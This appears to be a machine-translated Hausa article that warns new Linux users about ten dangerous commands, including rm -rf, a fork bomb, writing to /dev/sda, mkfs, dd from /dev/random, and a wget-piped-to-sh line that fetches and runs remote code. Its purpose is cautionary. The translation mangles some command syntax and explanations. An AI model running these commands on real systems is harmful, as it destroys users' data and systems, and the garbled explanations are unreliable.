Linux umarni sune mafi ban sha'awa, masu fa'ida da taimako sosai. Yana da iko sosai tunda bai taɓa neman tabbaci ba. Amma yana da haɗari musamman idan baku da cikakken sani game da umarnin. Koda ƙananan kuskure a cikin umarni suna haifar da asarar da ba za a iya warwarewa ba ga Tsarin Gudanarwa. A sabon Linux mai amfani yakamata yayi taka tsan tsan w wajen aiwatar da umarnin. Kamar yadda yake bawa tushen mai amfani damar, mai amfani ya zama koyaushe yana faɗakarwa game da abin da yake yi.
Anan ne Dokokin 10 na Linux game da abin da ya kamata ku sani sarai kafin aiwatar da waɗannan umarnin
# 1. rm -rf
Wannan umarnin shine hanya mafi sauri don share babban fayil ɗin da duk abubuwan da ke ciki. Amma idan kayi kuskure wajen bugawa yana haifar da asara mai yawa.
- -rm-rf- yana share duk fayiloli a babban fayil din gidan.
- rm -rf * share duk fayilolin sanyi
- rm -rf * share duk fayilolin sanyi.
- rm -f yana share fayilolin karanta kawai.
- Rm -r ya sake share folda akai-akai (har ma da babban fayil ɗin fanko)
# 2 .: () {: |: &};:
An san wannan umarnin da suna Fork Bomb kamar yadda yake ƙirƙirar sabbin kwafin kanta. Wannan aikin kwafin yana ci gaba har sai yayi sanyi. Wannan saboda yawan amfani da ƙwaƙwalwar ajiya na RAM.
# 3. umarni> / dev / sda
Wannan yana ba da umarni kuma yana aika fitowar wancan kai tsaye zuwa rumbun kwamfutarka kuma ta haka ne yake lalata shi. Yana maye gurbin duk fayilolin da ke kan bulon tare da ɗanyen bayanai watau yana rubuta ɗanyen bayanai kai tsaye zuwa rumbun kwamfutarka.
# 4. mv shugabanci / dev / null
Wannan umarnin yana motsa dukkan fayiloli zuwa NULL watau yana share duk fayilolin. Don haka, a ƙarshe ya lalata duk fayiloli.
# 5. wget http://example.com/something -O - | sh
wget command zai zazzage rubutun daga shafin kuma sh zai tafiyar da rubutun akan tsarin ka. Don haka sai a kiyaye kafin a fara rubutun.
# 6. Mkfs.ext3 / dev / sda
Wannan umarnin yana ƙirƙirar sabon tsarin fayil na ext3 akan na'urar. sda ya ƙayyade bangare a kan rumbun kwamfutarka. Yana kawai tsara tsarin toshe 'sda' kuma ya sake saita rumbun kwamfutar. watau shi tsayar da tsoho drive.
# 7. > Fayil
Umurnin da ke sama yana sakin abun cikin fayil. Amma yana haifar da lalacewa da yawa lokacin da akwai ƙaramin kuskure cikin umarni.
- “> Xt.conf” zai rubuta fayil ɗin sanyi ko wani tsarin ko fayil ɗin daidaitawa.
# 8. ^ foo ^ mashaya
Wannan umarnin yana gyara umarnin da ya gabata ta hanyar rage bukatar sake buga dukkan umarnin a sake. don haka, a hankali bincika canji a asalin umarni ta amfani da ^ ^ foo bar command.
# 9. dd idan = / dev / bazuwar na = / dev / sda
Wannan umarnin yana rubuta takarce akan rumbun kwamfutarka. Yana aiwatar da kwafin fayiloli daga wuri guda zuwa wani. / dev / sda yana canja wurin bazuwar bayanai. Wannan a ƙarshe ya bar tsarinku ba daidai ba.
# 10. Umarnin da ba a ganuwa
Wannan yayi kama da na umarnin farko rm -rf sai dai cewa lambobin suna ɓoye kuma suna aiki da wannan lambar ta ƙare kuma ta share rabarku.
Shin bari mu sani idan mun rasa wani a cikin maganganunku a ƙasa.
